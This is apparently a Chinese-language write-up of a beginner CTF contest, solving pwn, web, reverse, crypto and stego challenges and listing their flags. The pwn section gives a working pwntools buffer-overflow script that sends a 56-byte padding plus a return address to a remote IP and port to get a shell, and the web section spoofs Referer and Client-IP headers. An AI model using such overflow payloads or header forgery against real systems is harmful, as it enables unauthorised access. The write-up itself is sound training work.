萌新场, 但是还是有不少可以学到的
简单的签到题, 将题目拖进IDA后发现直接给了shell, 直接cat即可.
flag{294dbf32-54ea-4c2f-a0d3-e3221df75913}
将题目拖入IDA进行分析, 发现可溢出位置read
懒得静态分析, 直接使用gdb构造字符串看看溢出成什么样子吧, 使用pattern_create 200
构造出200长度的字符串
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
直接进行运行. 等等等怎么直接过了? 算了过了就过了, 直接拿到flagflag{a1cbd38a-d468-440d-b623-6214aad97f68}
话不多说直接上IDA进行分析, 虽然IDA分析出错, 但是可以发现唯一注入点只有input, 后面不再有输入的可能
随后在函数列表中发现mistake
函数, 返回了shell, 很明显, 要使EIP/RIP指向mistake.
既然是溢出, 那为什么不直接试试, 直接上gdb神器, 构造200长度的字符串, 输入执行, 程序随后报错, 看到在ret
命令下停止
百度查询ret, 描述为, 可理解为pop IP
RET是子程序的返回指令, 执行本指令时:sp增加一个内存单元, 栈顶数据出栈赋值给ip寄存器
(SP)->PCH,然后(SP)-1->SP
(SP)->PCL,然后(SP)-1->SP
最终使sp-2
大意为相当于命令pop IP
, 我们便可以通过修改栈顶使得pop出mistake的地址完成跳转
首先查看寄存器ESP的值
检查其偏移量pattern_offset AcAA2AAHAAdAA3AAIAAeAA4
为56
个
查看mistake函数地址disas mistake
为0x000000000040089c
from pwn import *
conn = remote('121.41.113.245', 10001)
conn.sendline('A' * 56 + p64(0x000000000040089c))
conn.interactive()
conn.close()
得到flagflag{3ae15963-fd5c-464c-ba30-299cc5a4e481}
根据题目显示一步步构造表单即可
源自百度构造Referer
为https://www.baidu.com
本地访问构造Client-ip
为127.0.0.1
得到flag为flag{welc0me_t0_WEB_s3cur1ty}
def encode(message):
flag = ''
for i in message:
x = ord(i) ^ 16
x = x + 5
flag += chr(x)
return flag
message = 'qwLrfD;`JU`~"JY>pOJ_;J,OOJZypJw
print(encode(message))
>>> flag{Y0u_Jus7_N3ed_T0_Add_One_l1ne_Of_C0de}
这题虽然是基础, 但是君IDA本当下脚, 还是折腾了一段时间才出来
查看主逻辑, 发现最重要的应该是check
函数
进入check
后, 发现是对输入的内容进行了变化, 随后和储存的flag进行比较, 说明flag应该为加密后的字符串, 进入flag进行检查
可知flag为int[]
类型, 其中int类型在计算机中为4字节, 且为小端储存, 尝试构造固定头flag{
data = "flag{"
for i in data:
a = 8 * ord(i)
a += 16
a ^= 0x10
print(hex(a), end=" ")
>>> 0x350 0x360 0x308 0x358 0x3f8
便从大到小组合
hexs = [0x350, 0x360, 0x308, 0x358, 0x3f8, 0x2b0, 0x328, 0x318, 0x188, 0x1a8,
0x318, 0x2b8, 0x180, 0x398, 0x398, 0x398, 0x398, 0x398, 0x398, 0x398,
0x398, 0x398, 0x318, 0x2b8, 0x348, 0x368, 0x380, 0x360, 0x328, 0x3e8]
for i in hexs:
a = i ^ 0x10
a -= 16
a /= 8
print(chr(int(a)), end="")
>>> flag{Re_15_S0ooooooooo_Simple}
下载下来为一个压缩包, 其中一个有密码, 另一个为一个base64编码过的图片, 使用工具解码base64
站长工具
得到密码WAIS
, 以这个为密码解密压缩包得到字符串ZmxhZ3sxc19teV9wNHNzd29yZF90MG9fNWltcGxlXz99
拉去base64一下得到flag{1s_my_p4ssword_t0o_5imple_?}
打开后得到一个图片和一个txt, 发现包含内容U2FsdGVkX19+EusfRjwm+09ipD4H/UegyaD8uh4kzJ9PtFqfyJqmrc3zYKliJ1WpfWjmGmzSl5s=
看到后面=
首先怀疑Base64, 拿去解一下
解码为乱码, 但是有部分出来了, 百度查询固定地方得到为rabbit加密
, 但是缺少密钥, 根据文本--rab...忘记英语怎么拼了
猜测密钥为rabbit
, 解码后得到MZWGCZ33KJQWEYRRORPTC427OY2HE6K7MN2XIND5
拿去base32一下, 成功
flag{Rabb1t_1s_v4ry_cut4}
密文内容]p{k]|X6TmI3MWL6f4
明显扩展了ascii表, 查看最高和最低分别为0 和 }, 构造字母表0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_``abcdefghijklmnopqrstuvwxyz{|}
在解密网站ROT Cipher可以直接拿到结果
对结果base64解码得到flag{1t's_Fak3_Ca3sar_C1pher}
可知第一个颜色RGB为40, 41, 21, 第二个颜色RGB为74, 2, 40
可以定位到自由女神像, 那么flag为flag{statue_of_liberty}
顺带一提, 我之前还试了
flag{statue_of_liberty_national_mountain}
flag{statue_of_liberty_park}
flag{fort_wood}
flag{liberty_island}
flag{new_york}
因为statue_of_liberty不缩放大不显示, 真是日了Ash3n_On3
本题给了一张图片, 用winhex打开, 发现最后附加了大量内容
有4和2两种组合, 将此数据导出进行解析
data = "\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20\x2E\x2E\x20\x2E\x2E\x2E\x2E\x20"
count = 0
for i in data:
if i == '\x20':
print(0 if count == 2 else 1, end="")
count = 0
else:
count += 1
最后二进制转字符串
本题提供一个压缩文件, 但是打开压缩文件损坏, 使用winhex打开, 发现缺少文件头, 补上504B0304
成功解压文件, 仔细看发现第二张图片有乱码, 使用winhex查看
随便扫了一眼, 发现在1024处有一个flag, 而源文件没有
将不同的地方进行组合得到flag. 太伤眼了就不整了…